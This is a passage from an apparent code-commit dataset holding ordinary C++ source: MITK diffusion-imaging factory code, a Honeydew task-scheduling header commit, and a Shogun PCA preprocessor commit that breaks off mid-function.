if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0)\n {\n newMapper = mitk::CompositeMapper::New();\n newMapper->SetDataNode(node);\n node->SetMapper(3, ((CompositeMapper*)newMapper.GetPointer())->GetImageMapper());\n }\n\n classname = \"DiffusionImage\";\n if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0)\n {\n newMapper = mitk::DiffusionImageMapper<short>::New();\n newMapper->SetDataNode(node);\n }\n\n }\n else if ( id == mitk::BaseRenderer::Standard3D )\n {\n std::string classname(\"QBallImage\");\n if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0)\n {\n newMapper = mitk::GPUVolumeMapper3D::New();\n newMapper->SetDataNode(node);\n }\n classname = \"TensorImage\";\n if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0)\n {\n newMapper = mitk::GPUVolumeMapper3D::New();\n newMapper->SetDataNode(node);\n }\n classname = \"DiffusionImage\";\n if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0)\n {\n newMapper = mitk::GPUVolumeMapper3D::New();\n newMapper->SetDataNode(node);\n }\n\n classname = \"PlanarRectangle\";\n if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0)\n {\n newMapper = mitk::PlanarFigureMapper3D::New();\n newMapper->SetDataNode(node);\n }\n\n classname = \"PlanarCircle\";\n if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0)\n {\n newMapper = mitk::PlanarFigureMapper3D::New();\n newMapper->SetDataNode(node);\n }\n\n classname = \"PlanarEllipse\";\n if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0)\n {\n newMapper = mitk::PlanarFigureMapper3D::New();\n newMapper->SetDataNode(node);\n }\n\n classname = \"PlanarPolygon\";\n if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0)\n {\n newMapper = mitk::PlanarFigureMapper3D::New();\n newMapper->SetDataNode(node);\n }\n\n }\n\n return newMapper;\n}\n\nvoid mitk::DiffusionCoreObjectFactory::SetDefaultProperties(mitk::DataNode* node)\n{\n std::string classname = \"QBallImage\";\n if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0)\n {\n mitk::CompositeMapper::SetDefaultProperties(node);\n mitk::GPUVolumeMapper3D::SetDefaultProperties(node);\n }\n\n classname = \"TensorImage\";\n if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0)\n {\n mitk::CompositeMapper::SetDefaultProperties(node);\n mitk::GPUVolumeMapper3D::SetDefaultProperties(node);\n }\n\n classname = \"DiffusionImage\";\n if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0)\n {\n mitk::DiffusionImageMapper<short>::SetDefaultProperties(node);\n mitk::GPUVolumeMapper3D::SetDefaultProperties(node);\n }\n\n\n classname = \"PlanarRectangle\";\n if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0)\n {\n mitk::PlanarFigureMapper3D::SetDefaultProperties(node);\n }\n\n classname = \"PlanarEllipse\";\n if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0)\n {\n mitk::PlanarFigureMapper3D::SetDefaultProperties(node);\n }\n\n classname = \"PlanarCircle\";\n if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0)\n {\n mitk::PlanarFigureMapper3D::SetDefaultProperties(node);\n }\n\n classname = \"PlanarPolygon\";\n if(node->GetData() && classname.compare(node->GetData()->GetNameOfClass())==0)\n {\n mitk::PlanarFigureMapper3D::SetDefaultProperties(node);\n }\n\n}\n\nconst char* mitk::DiffusionCoreObjectFactory::GetFileExtensions()\n{\n std::string fileExtension;\n this->CreateFileExtensions(m_FileExtensionsMap, fileExtension);\n return fileExtension.c_str();\n}\n\nmitk::CoreObjectFactoryBase::MultimapType mitk::DiffusionCoreObjectFactory::GetFileExtensionsMap()\n{\n return m_FileExtensionsMap;\n}\n\nconst char* mitk::DiffusionCoreObjectFactory::GetSaveFileExtensions()\n{\n std::string fileExtension;\n this->CreateFileExtensions(m_SaveFileExtensionsMap, fileExtension);\n return fileExtension.c_str();\n}\n\nmitk::CoreObjectFactoryBase::MultimapType mitk::DiffusionCoreObjectFactory::GetSaveFileExtensionsMap()\n{\n return m_SaveFileExtensionsMap;\n}\n\nvoid mitk::DiffusionCoreObjectFactory::CreateFileExtensionsMap()\n{\n m_FileExtensionsMap.insert(std::pair<std::string, std::string>(\"*.dwi\", \"Diffusion Weighted Images\"));\n m_FileExtensionsMap.insert(std::pair<std::string, std::string>(\"*.hdwi\", \"Diffusion Weighted Images\"));\n m_FileExtensionsMap.insert(std::pair<std::string, std::string>(\"*.nii\", \"Diffusion Weighted Images for FSL\"));\n m_FileExtensionsMap.insert(std::pair<std::string, std::string>(\"*.fsl\", \"Diffusion Weighted Images for FSL\"));\n m_FileExtensionsMap.insert(std::pair<std::string, std::string>(\"*.fslgz\", \"Diffusion Weighted Images for FSL\"));\n m_FileExtensionsMap.insert(std::pair<std::string, std::string>(\"*.qbi\", \"Q-Ball Images\"));\n m_FileExtensionsMap.insert(std::pair<std::string, std::string>(\"*.hqbi\", \"Q-Ball Images\"));\n m_FileExtensionsMap.insert(std::pair<std::string, std::string>(\"*.dti\", \"Tensor Images\"));\n m_FileExtensionsMap.insert(std::pair<std::string, std::string>(\"*.hdti\", \"Tensor Images\"));\n \/\/ m_FileExtensionsMap.insert(std::pair<std::string, std::string>(\"*.pf\", \"Planar Figure File\"));\n\n\n m_SaveFileExtensionsMap.insert(std::pair<std::string, std::string>(\"*.dwi\", \"Diffusion Weighted Images\"));\n m_SaveFileExtensionsMap.insert(std::pair<std::string, std::string>(\"*.hdwi\", \"Diffusion Weighted Images\"));\n m_SaveFileExtensionsMap.insert(std::pair<std::string, std::string>(\"*.nii\", \"Diffusion Weighted Images for FSL\"));\n m_SaveFileExtensionsMap.insert(std::pair<std::string, std::string>(\"*.fsl\", \"Diffusion Weighted Images for FSL\"));\n m_SaveFileExtensionsMap.insert(std::pair<std::string, std::string>(\"*.fslgz\", \"Diffusion Weighted Images for FSL\"));\n m_SaveFileExtensionsMap.insert(std::pair<std::string, std::string>(\"*.qbi\", \"Q-Ball Images\"));\n m_SaveFileExtensionsMap.insert(std::pair<std::string, std::string>(\"*.hqbi\", \"Q-Ball Images\"));\n m_SaveFileExtensionsMap.insert(std::pair<std::string, std::string>(\"*.dti\", \"Tensor Images\"));\n m_SaveFileExtensionsMap.insert(std::pair<std::string, std::string>(\"*.hdti\", \"Tensor Images\"));\n \/\/ m_SaveFileExtensionsMap.insert(std::pair<std::string, std::string>(\"*.pf\", \"Planar Figure File\"));\n\n}\n\nvoid mitk::DiffusionCoreObjectFactory::RegisterIOFactories()\n{\n}\n\n\nstruct RegisterDiffusionCoreObjectFactory{\n RegisterDiffusionCoreObjectFactory()\n : m_Factory( mitk::DiffusionCoreObjectFactory::New() )\n {\n mitk::CoreObjectFactory::GetInstance()->RegisterExtraFactory( m_Factory );\n }\n\n ~RegisterDiffusionCoreObjectFactory()\n {\n mitk::CoreObjectFactory::GetInstance()->UnRegisterExtraFactory( m_Factory );\n }\n\n mitk::DiffusionCoreObjectFactory::Pointer m_Factory;\n};\n\nstatic RegisterDiffusionCoreObjectFactory registerDiffusionCoreObjectFactory;\n\n<|endoftext|>"} {"text":"<commit_before>\/\/ This file is part of Honeydew\n\/\/ Honeydew is licensed under the MIT LICENSE. See the LICENSE file for more info.\n\n#pragma once\n\n#include <honeydew\/task_t.hpp>\n\nnamespace honeydew\n{\n\n\/**\n* Class that allows for easy building of task_t* structures.\n* Usage is expected to be via daisy-chaining of function calls\n* onto this object like Task(func1).then(func2).also(func3);\n*\/\nclass Task\n{\npublic:\n\n \/**\n * Constructs a new, empty Task wrapper object.\n *\/\n Task();\n \n \/**\n * Constructs a new task object with a given priority.\n * @arg function to schedule and call on the associated worker thread.\n * @arg worker the associated thread on which to run this action. Worker=0 means any worker.\n * @arg priority the absolute priority (priority) of this call.\n *\/\n Task(std::function<void()> action, size_t worker=0, uint64_t priority=0);\n\n \/**\n * Deleted copy constructor.\n *\/\n Task(const Task& other) = delete;\n\n \/**\n * Move constructor.\n *\/\n Task(Task&& other);\n\n \/**\n * Initializes a previously uninitialized task. This function throws std::runtime_error\n * if the task was previously initialized.\n *\/\n void init(std::function<void()> action=0, size_t worker=0, uint64_t priority=0);\n\n \/**\n * Deleted copy assignment.\n *\/\n Task& operator=(const Task& other) = delete;\n\n \/\/ Move assignment.\n Task& operator=(Task&& other);\n\n \/**\n * Cleans up the internals of this object if necessary.\n *\/\n ~Task();\n\n \/**\n * Schedules a task with the given priority to be run after the previous task(s)\n * on the given worker thread\n * @arg action the task to be performed.\n * @arg worker the associated worker for this task to run on. Worker=0 means any worker.\n * @arg priority the priority of the task (added to the previous task's priority).\n *\/\n Task& then(std::function<void()> action, size_t worker=0, uint64_t priority=0);\n\n \/**\n * Schedules a task with the given priority to be run after the previous task(s)\n * on the given worker thread\n * @arg action the task to be performed.\n * @arg worker the associated worker for this task to run on. Worker=0 means any worker.\n * @arg priority the priority of the task (absolute, not added to previous task's priority).\n *\/\n Task& then_absolute(std::function<void()> action, size_t worker=0, uint64_t priority=0);\n\n \/*\n * Adds another task_t heirarchy as a then relationship to the end of this Task structure.\n * @arg other the root of another task heirarchy.\n * @return a reference to this task for daisy chaining. \n *\/\n Task& then(task_t* other);\n template<typename TaskType> Task& then(TaskType&& other) { return then(other.close()); }\n\n \/**\n * Schedules a task to occur concurrently with the previous task with the given priority\n * on the associated worker thread. Further tasks will wait for this task to complete.\n * @arg action the task to perform.\n * @arg worker the associated worker thread. Worker=0 means any worker.\n * @arg priority the priority of the task. (added to the previous task's priority).\n *\/\n Task& also(std::function<void()> action, size_t worker=0, uint64_t priority=0);\n\n \/**\n * Schedules a task to occur concurrently with the previous task with the given priority\n * on the associated worker thread. Further tasks will wait for this task to complete.\n * @arg action the task to perform.\n * @arg worker the associated worker thread. Worker=0 means any worker.\n * @arg priority the absolute priority of the task. (not added to the previous task's priority).\n *\/\n Task& also_absolute(std::function<void()> action, size_t worker=0, uint64_t priority=0);\n\n \/**\n * Adds another task_t* structure as an also relationship to this task. The other heirarchy\n * will take place at the same time as the last level of tasks in this hierarchy.\n * @arg other the root of the other task heirarchy.\n * @return a reference to this task for daisy chaining.\n *\/\n Task& also(task_t* other);\n template<typename TaskType> Task& also(TaskType&& other) { return also(other.close()); }\n \n \/**\n * Schedules a task to occur concurrently with the previous task with the given priority\n * on the associated worker thread. Further tasks will not wait for this task to complete.\n * @arg action the task to perform.\n * @arg worker the associated worker thread. Worker=0 means any worker.\n * @arg priority the priority of the task. (added to the previous task's priority).\n *\/\n Task& fork(std::function<void()> action, size_t worker=0, uint64_t priority=0);\n\n \/**\n * Schedules a task to occur concurrently with the previous task with the given priority\n * on the associated worker thread. Further tasks will not wait for this task to complete.\n * @arg action the task to perform.\n * @arg worker the associated worker thread. Worker=0 means any worker.\n * @arg priority the absolute priority of the task. (not added to the previous task's priority).\n *\/\n Task& fork_absolute(std::function<void()> action, size_t worker=0, uint64_t priority=0);\n \n \/**\n * Adds another task heirarchy as a forked task onto this heirarchy.\n * @arg other the other task heirarchy to fork from the current leaf of this heirarchy.\n * @return this task.\n *\/ \n Task& fork(task_t* other);\n template<typename TaskType> Task& fork(TaskType& other) { return fork(other.close()); }\n\n \/**\n * Returns the associated task_t* of this object and then !empties this object!\n * This function is intended to be used by the Honeydew implementing classes ONLY!\n * @return the root of the built task_t* structure.\n *\/\n task_t* close();\n\n \nprivate:\n task_t *root, *or_root, *leaf;\n};\n\n}\n<commit_msg>Renamed 'deadline' to priority. Added then, also, and fork task_t* methods.<commit_after>\/\/ This file is part of Honeydew\n\/\/ Honeydew is licensed under the MIT LICENSE. See the LICENSE file for more info.\n\n#pragma once\n\n#include <honeydew\/task_t.hpp>\n\nnamespace honeydew\n{\n\n\/**\n* Class that allows for easy building of task_t* structures.\n* Usage is expected to be via daisy-chaining of function calls\n* onto this object like Task(func1).then(func2).also(func3);\n*\/\nclass Task\n{\npublic:\n\n \/**\n * Constructs a new, empty Task wrapper object.\n *\/\n Task();\n \n \/**\n * Constructs a new task object with a given priority.\n * @arg function to schedule and call on the associated worker thread.\n * @arg worker the associated thread on which to run this action. Worker=0 means any worker.\n * @arg priority the absolute priority (priority) of this call.\n *\/\n Task(std::function<void()> action, size_t worker=0, uint64_t priority=0);\n\n \/**\n * Deleted copy constructor.\n *\/\n Task(const Task& other) = delete;\n\n \/**\n * Move constructor.\n *\/\n Task(Task&& other);\n\n \/**\n * Initializes a previously uninitialized task. This function throws std::runtime_error\n * if the task was previously initialized.\n *\/\n void init(std::function<void()> action=0, size_t worker=0, uint64_t priority=0);\n\n \/**\n * Deleted copy assignment.\n *\/\n Task& operator=(const Task& other) = delete;\n\n \/\/ Move assignment.\n Task& operator=(Task&& other);\n\n \/**\n * Cleans up the internals of this object if necessary.\n *\/\n ~Task();\n\n \/**\n * Schedules a task with the given priority to be run after the previous task(s)\n * on the given worker thread\n * @arg action the task to be performed.\n * @arg worker the associated worker for this task to run on. Worker=0 means any worker.\n * @arg priority the priority of the task (added to the previous task's priority).\n *\/\n Task& then(std::function<void()> action, size_t worker=0, uint64_t priority=0);\n\n \/**\n * Schedules a task with the given priority to be run after the previous task(s)\n * on the given worker thread\n * @arg action the task to be performed.\n * @arg worker the associated worker for this task to run on. Worker=0 means any worker.\n * @arg priority the priority of the task (absolute, not added to previous task's priority).\n *\/\n Task& then_absolute(std::function<void()> action, size_t worker=0, uint64_t priority=0);\n\n \/*\n * Adds another task_t heirarchy as a then relationship to the end of this Task structure.\n * @arg other the root of another task heirarchy.\n * @return a reference to this task for daisy chaining. \n *\/\n Task& then(task_t* other);\n\n \/**\n * Schedules a task to occur concurrently with the previous task with the given priority\n * on the associated worker thread. Further tasks will wait for this task to complete.\n * @arg action the task to perform.\n * @arg worker the associated worker thread. Worker=0 means any worker.\n * @arg priority the priority of the task. (added to the previous task's priority).\n *\/\n Task& also(std::function<void()> action, size_t worker=0, uint64_t priority=0);\n\n \/**\n * Schedules a task to occur concurrently with the previous task with the given priority\n * on the associated worker thread. Further tasks will wait for this task to complete.\n * @arg action the task to perform.\n * @arg worker the associated worker thread. Worker=0 means any worker.\n * @arg priority the absolute priority of the task. (not added to the previous task's priority).\n *\/\n Task& also_absolute(std::function<void()> action, size_t worker=0, uint64_t priority=0);\n\n \/**\n * Adds another task_t* structure as an also relationship to this task. The other heirarchy\n * will take place at the same time as the last level of tasks in this hierarchy.\n * @arg other the root of the other task heirarchy.\n * @return a reference to this task for daisy chaining.\n *\/\n Task& also(task_t* other);\n \n \/**\n * Schedules a task to occur concurrently with the previous task with the given priority\n * on the associated worker thread. Further tasks will not wait for this task to complete.\n * @arg action the task to perform.\n * @arg worker the associated worker thread. Worker=0 means any worker.\n * @arg priority the priority of the task. (added to the previous task's priority).\n *\/\n Task& fork(std::function<void()> action, size_t worker=0, uint64_t priority=0);\n\n \/**\n * Schedules a task to occur concurrently with the previous task with the given priority\n * on the associated worker thread. Further tasks will not wait for this task to complete.\n * @arg action the task to perform.\n * @arg worker the associated worker thread. Worker=0 means any worker.\n * @arg priority the absolute priority of the task. (not added to the previous task's priority).\n *\/\n Task& fork_absolute(std::function<void()> action, size_t worker=0, uint64_t priority=0);\n \n \/**\n * Adds another task heirarchy as a forked task onto this heirarchy.\n * @arg other the other task heirarchy to fork from the current leaf of this heirarchy.\n * @return this task.\n *\/ \n Task& fork(task_t* other);\n\n \/**\n * Returns the associated task_t* of this object and then !empties this object!\n * This function is intended to be used by the Honeydew implementing classes ONLY!\n * @return the root of the built task_t* structure.\n *\/\n task_t* close();\n\n \nprivate:\n task_t *root, *or_root, *leaf;\n};\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 3 of the License, or\n * (at your option) any later version.\n *\n * Written (W) 1999-2008 Gunnar Raetsch\n * Written (W) 1999-2008,2011 Soeren Sonnenburg\n * Copyright (C) 1999-2009 Fraunhofer Institute FIRST and Max-Planck-Society\n * Copyright (C) 2011 Berlin Institute of Technology\n *\/\n#include <shogun\/preprocessor\/PCA.h>\n#ifdef HAVE_LAPACK\n#include <shogun\/mathematics\/lapack.h>\n#include <shogun\/lib\/config.h>\n#include <shogun\/mathematics\/Math.h>\n#include <string.h>\n#include <stdlib.h>\n#include <shogun\/lib\/common.h>\n#include <shogun\/preprocessor\/DensePreprocessor.h>\n#include <shogun\/features\/Features.h>\n#include <shogun\/io\/SGIO.h>\n\nusing namespace shogun;\n\nCPCA::CPCA(bool do_whitening_, EPCAMode mode_, float64_t thresh_)\n: CDimensionReductionPreprocessor(), num_dim(0), m_initialized(false),\n\tm_whitening(do_whitening_), m_mode(mode_), thresh(thresh_)\n{\n\tinit();\n}\n\nvoid CPCA::init()\n{\n\tm_transformation_matrix = SGMatrix<float64_t>();\n\tm_mean_vector = SGVector<float64_t>();\n\tm_eigenvalues_vector = SGVector<float64_t>();\n\n\tSG_ADD(&m_transformation_matrix, \"transformation_matrix\",\n\t \"Transformation matrix (Eigenvectors of covariance matrix).\",\n\t MS_NOT_AVAILABLE);\n\tSG_ADD(&m_mean_vector, \"mean_vector\", \"Mean Vector.\", MS_NOT_AVAILABLE);\n\tSG_ADD(&m_eigenvalues_vector, \"eigenvalues_vector\",\n\t \"Vector with Eigenvalues.\", MS_NOT_AVAILABLE);\n\tSG_ADD(&m_initialized, \"initalized\", \"True when initialized.\",\n\t MS_NOT_AVAILABLE);\n\tSG_ADD(&m_whitening, \"whitening\", \"Whether data shall be whitened.\",\n\t MS_AVAILABLE);\n\tSG_ADD((machine_int_t*) &m_mode, \"mode\", \"PCA Mode.\", MS_AVAILABLE);\n\tSG_ADD(&thresh, \"thresh\", \"Cutoff threshold.\", MS_AVAILABLE);\n}\n\nCPCA::~CPCA()\n{\n}\n\nbool CPCA::init(CFeatures* features)\n{\n\tif (!m_initialized)\n\t{\n\t\t\/\/ loop varibles\n\t\tint32_t i,j,k;\n\n\t\tASSERT(features->get_feature_class()==C_DENSE)\n\t\tASSERT(features->get_feature_type()==F_DREAL)\n\n\t\tint32_t num_vectors=((CDenseFeatures<float64_t>*)features)->get_num_vectors();\n\t\tint32_t num_features=((CDenseFeatures<float64_t>*)features)->get_num_features();\n\t\tSG_INFO(\"num_examples: %ld num_features: %ld \\n\", num_vectors, num_features)\n\n\t\tm_mean_vector.vlen = num_features;\n\t\tm_mean_vector.vector = SG_CALLOC(float64_t, num_features);\n\n\t\t\/\/ sum\n\t\tSGMatrix<float64_t> feature_matrix = ((CDenseFeatures<float64_t>*)features)->get_feature_matrix();\n\t\tfor (i=0; i<num_vectors; i++)\n\t\t{\n\t\t\tfor (j=0; j<num_features; j++)\n\t\t\t\tm_mean_vector.vector[j] += feature_matrix.matrix[i*num_features+j];\n\t\t}\n\n\t\t\/\/divide\n\t\tfor (i=0; i<num_features; i++)\n\t\t\tm_mean_vector.vector[i] \/= num_vectors;\n\n\t\tfloat64_t* cov = SG_CALLOC(float64_t, num_features*num_features);\n\n\t\tfloat64_t* sub_mean = SG_MALLOC(float64_t, num_features);\n\n\t\tfor (i=0; i<num_vectors; i++)\n\t\t{\n\t\tfor (k=0; k<num_features; k++)\n\t\tsub_mean[k]=feature_matrix.matrix[i*num_features+k]-m_mean_vector.vector[k];\n\n\t\tcblas_dger(CblasColMajor,\n\t\t\t num_features,num_features,\n\t\t\t 1.0,sub_mean,1,\n\t\t\t sub_mean,1,\n\t\t\t cov, num_features);\n\t\t}\n\n\t\tSG_FREE(sub_mean);\n\n\t\tfor (i=0; i<num_features; i++)\n\t\t{\n\t\t\tfor (j=0; j<num_features; j++)\n\t\t\t\tcov[i*num_features+j]\/=(num_vectors-1);\n\t\t}\n\n\t\tSG_INFO(\"Computing Eigenvalues ... \")\n\n\t\tm_eigenvalues_vector.vector = SGMatrix<float64_t>::compute_eigenvectors(cov,num_features,num_features);\n\t\tm_eigenvalues_vector.vlen = num_features;\n\t\tnum_dim=0;\n\n\t\tif (m_mode == FIXED_NUMBER)\n\t\t{\n\t\t\tASSERT(m_target_dim <= num_features)\n\t\t\tnum_dim = m_target_dim;\n\t\t}\n\t\tif (m_mode == VARIANCE_EXPLAINED)\n\t\t{\n\t\t\tfloat64_t eig_sum = 0;\n\t\t\tfor (i=0; i<num_features; i++)\n\t\t\t\teig_sum += m_eigenvalues_vector.vector[i];\n\n\t\t\tfloat64_t com_sum = 0;\n\t\t\tfor (i=num_features-1; i>-1; i--)\n\t\t\t{\n\t\t\t\tnum_dim++;\n\t\t\t\tcom_sum += m_eigenvalues_vector.vector[i];\n\t\t\t\tif (com_sum\/eig_sum>=thresh)\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tif (m_mode == THRESHOLD)\n\t\t{\n\t\t\tfor (i=num_features-1; i>-1; i--)\n\t\t\t{\n\t\t\t\tif (m_eigenvalues_vector.vector[i]>thresh)\n\t\t\t\t\tnum_dim++;\n\t\t\t\telse\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tSG_INFO(\"Done\\nReducing from %i to %i features..\", num_features, num_dim)\n\n\t\tm_transformation_matrix = SGMatrix<float64_t>(num_features,num_dim);\n\t\tnum_old_dim = num_features;\n\n\t\tint32_t offs=0;\n\t\tfor (i=num_features-num_dim; i<num_features; i++)\n\t\t{\n\t\t\tfor (k=0; k<num_features; k++)\n\t\t\t\tif (m_whitening)\n\t\t\t\t\tm_transformation_matrix.matrix[offs+k*num_dim] =\n\t\t\t\t\t\tcov[num_features*i+k]\/sqrt(m_eigenvalues_vector.vector[i]);\n\t\t\t\telse\n\t\t\t\t\tm_transformation_matrix.matrix[offs+k*num_dim] =\n\t\t\t\t\t\tcov[num_features*i+k];\n\t\t\toffs++;\n\t\t}\n\n\t\tSG_FREE(cov);\n\t\tm_initialized = true;\n\t\treturn true;\n\t}\n\n\treturn false;\n}\n\nvoid CPCA::cleanup()\n{\n\tm_transformation_matrix=SGMatrix<float64_t>();\n}\n\nSGMatrix<float64_t> CPCA::apply_to_feature_matrix(CFeatures* features)\n{\n\tASSERT(m_initialized)\n\tSGMatrix<float64_t> m = ((CDenseFeatures<float64_t>*) features)->get_feature_matrix();\n\tint32_t num_vectors = m.num_cols;\n\tint32_t num_features = m.num_rows;\n\tSG_INFO(\"get Feature matrix: %ix%i\\n\", num_vectors, num_features)\n\n\tif (m.matrix)\n\t{\n\t\tSG_INFO(\"Preprocessing feature matrix\\n\")\n\t\tfloat64_t* res = SG_MALLOC(float64_t, num_dim);\n\t\tfloat64_t* sub_mean = SG_MALLOC(float64_t, num_features);\n\n\t\tfor (int32_t vec=0; vec<num_vectors; vec++)\n\t\t{\n\t\t\tint32_t i;\n\n\t\t\tfor (i=0; i<num_features; i++)\n\t\t\t\tsub_mean[i] = m.matrix[num_features*vec+i] - m_mean_vector.vector[i];\n\n\t\t\tcblas_dgemv(CblasColMajor,CblasNoTrans,\n\t\t\t num_dim,num_features,\n\t\t\t 1.0,m_transformation_matrix.matrix,num_dim,\n\t\t\t sub_mean,1,\n\t\t\t 0.0,res,1);\n\n\t\t\tfloat64_t* m_transformed = &m.matrix[num_dim*vec];\n\n\t\t\tfor (i=0; i<num_dim; i++)\n\t\t\t\tm_transformed[i] = res[i];\n\t\t}\n\t\tSG_FREE(res);\n\t\tSG_FREE(sub_mean);\n\n\t\t((CDenseFeatures<float64_t>*) features)->set_num_features(num_dim);\n\t\t((CDenseFeatures<float64_t>*) features)->get_feature_matrix(num_features, num_vectors);\n\t\tSG_INFO(\"new Feature matrix: %ix%i\\n\", num_vectors, num_features)\n\t}\n\n\treturn m;\n}\n\nSGVector<float64_t> CPCA::apply_to_feature_vector(SGVector<float64_t> vector)\n{\n\tfloat64_t* result = SG_MALLOC(float64_t, num_dim);\n\tfloat64_t* sub_mean = SG_MALLOC(float64_t, vector.vlen);\n\n\tfor (int32_t i=0; i<vector.vlen; i++)\n\t\tsub_mean[i]=vector.vector[i]-m_mean_vector.vector[i];\n\n\tcblas_dgemv(CblasColMajor,CblasNoTrans,\n\t num_dim,vector.vlen,\n\t 1.0,m_transformation_matrix.matrix,m_transformation_matrix.num_cols,\n\t sub_mean,1,\n\t 0.0,result,1);\n\n\tSG_FREE(sub_mean);\n\treturn SGVector<float64_t>(result,num_dim);\n}\n\nSGMatrix<float64_t> CPCA::get_transformation_matrix()\n{\n\treturn m_transformation_matrix;\n}\n\nSGVector<float64_t> CPCA::get_eigenvalues()\n{\n\treturn m_eigenvalues_vector;\n}\n\nSGVector<float64_t> CPCA::get_mean()\n{\n\treturn m_mean_vector;\n}\n\n#endif \/* HAVE_LAPACK *\/\n<commit_msg>apply_to_feature_matrix method fixed in PCA<commit_after>\/*\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 3 of the License, or\n * (at your option) any later version.\n *\n * Written (W) 1999-2008 Gunnar Raetsch\n * Written (W) 1999-2008,2011 Soeren Sonnenburg\n * Copyright (C) 1999-2009 Fraunhofer Institute FIRST and Max-Planck-Society\n * Copyright (C) 2011 Berlin Institute of Technology\n *\/\n#include <shogun\/preprocessor\/PCA.h>\n#ifdef HAVE_LAPACK\n#include <shogun\/mathematics\/lapack.h>\n#include <shogun\/lib\/config.h>\n#include <shogun\/mathematics\/Math.h>\n#include <string.h>\n#include <stdlib.h>\n#include <shogun\/lib\/common.h>\n#include <shogun\/preprocessor\/DensePreprocessor.h>\n#include <shogun\/features\/Features.h>\n#include <shogun\/io\/SGIO.h>\n#include <shogun\/mathematics\/eigen3.h>\n\nusing namespace shogun;\nusing namespace Eigen;\n\nCPCA::CPCA(bool do_whitening_, EPCAMode mode_, float64_t thresh_)\n: CDimensionReductionPreprocessor(), num_dim(0), m_initialized(false),\n\tm_whitening(do_whitening_), m_mode(mode_), thresh(thresh_)\n{\n\tinit();\n}\n\nvoid CPCA::init()\n{\n\tm_transformation_matrix = SGMatrix<float64_t>();\n\tm_mean_vector = SGVector<float64_t>();\n\tm_eigenvalues_vector = SGVector<float64_t>();\n\n\tSG_ADD(&m_transformation_matrix, \"transformation_matrix\",\n\t \"Transformation matrix (Eigenvectors of covariance matrix).\",\n\t MS_NOT_AVAILABLE);\n\tSG_ADD(&m_mean_vector, \"mean_vector\", \"Mean Vector.\", MS_NOT_AVAILABLE);\n\tSG_ADD(&m_eigenvalues_vector, \"eigenvalues_vector\",\n\t \"Vector with Eigenvalues.\", MS_NOT_AVAILABLE);\n\tSG_ADD(&m_initialized, \"initalized\", \"True when initialized.\",\n\t MS_NOT_AVAILABLE);\n\tSG_ADD(&m_whitening, \"whitening\", \"Whether data shall be whitened.\",\n\t MS_AVAILABLE);\n\tSG_ADD((machine_int_t*) &m_mode, \"mode\", \"PCA Mode.\", MS_AVAILABLE);\n\tSG_ADD(&thresh, \"thresh\", \"Cutoff threshold.\", MS_AVAILABLE);\n}\n\nCPCA::~CPCA()\n{\n}\n\nbool CPCA::init(CFeatures* features)\n{\n\tif (!m_initialized)\n\t{\n\t\t\/\/ loop varibles\n\t\tint32_t i,j,k;\n\n\t\tASSERT(features->get_feature_class()==C_DENSE)\n\t\tASSERT(features->get_feature_type()==F_DREAL)\n\n\t\tint32_t num_vectors=((CDenseFeatures<float64_t>*)features)->get_num_vectors();\n\t\tint32_t num_features=((CDenseFeatures<float64_t>*)features)->get_num_features();\n\t\tSG_INFO(\"num_examples: %ld num_features: %ld \\n\", num_vectors, num_features)\n\n\t\tm_mean_vector.vlen = num_features;\n\t\tm_mean_vector.vector = SG_CALLOC(float64_t, num_features);\n\n\t\t\/\/ sum\n\t\tSGMatrix<float64_t> feature_matrix = ((CDenseFeatures<float64_t>*)features)->get_feature_matrix();\n\t\tfor (i=0; i<num_vectors; i++)\n\t\t{\n\t\t\tfor (j=0; j<num_features; j++)\n\t\t\t\tm_mean_vector.vector[j] += feature_matrix.matrix[i*num_features+j];\n\t\t}\n\n\t\t\/\/divide\n\t\tfor (i=0; i<num_features; i++)\n\t\t\tm_mean_vector.vector[i] \/= num_vectors;\n\n\t\tfloat64_t* cov = SG_CALLOC(float64_t, num_features*num_features);\n\n\t\tfloat64_t* sub_mean = SG_MALLOC(float64_t, num_features);\n\n\t\tfor (i=0; i<num_vectors; i++)\n\t\t{\n\t\tfor (k=0; k<num_features; k++)\n\t\tsub_mean[k]=feature_matrix.matrix[i*num_features+k]-m_mean_vector.vector[k];\n\n\t\tcblas_dger(CblasColMajor,\n\t\t\t num_features,num_features,\n\t\t\t 1.0,sub_mean,1,\n\t\t\t sub_mean,1,\n\t\t\t cov, num_features);\n\t\t}\n\n\t\tSG_FREE(sub_mean);\n\n\t\tfor (i=0; i<num_features; i++)\n\t\t{\n\t\t\tfor (j=0; j<num_features; j++)\n\t\t\t\tcov[i*num_features+j]\/=(num_vectors-1);\n\t\t}\n\n\t\tSG_INFO(\"Computing Eigenvalues ... \")\n\n\t\tm_eigenvalues_vector.vector = SGMatrix<float64_t>::compute_eigenvectors(cov,num_features,num_features);\n\t\tm_eigenvalues_vector.vlen = num_features;\n\t\tnum_dim=0;\n\n\t\tif (m_mode == FIXED_NUMBER)\n\t\t{\n\t\t\tASSERT(m_target_dim <= num_features)\n\t\t\tnum_dim = m_target_dim;\n\t\t}\n\t\tif (m_mode == VARIANCE_EXPLAINED)\n\t\t{\n\t\t\tfloat64_t eig_sum = 0;\n\t\t\tfor (i=0; i<num_features; i++)\n\t\t\t\teig_sum += m_eigenvalues_vector.vector[i];\n\n\t\t\tfloat64_t com_sum = 0;\n\t\t\tfor (i=num_features-1; i>-1; 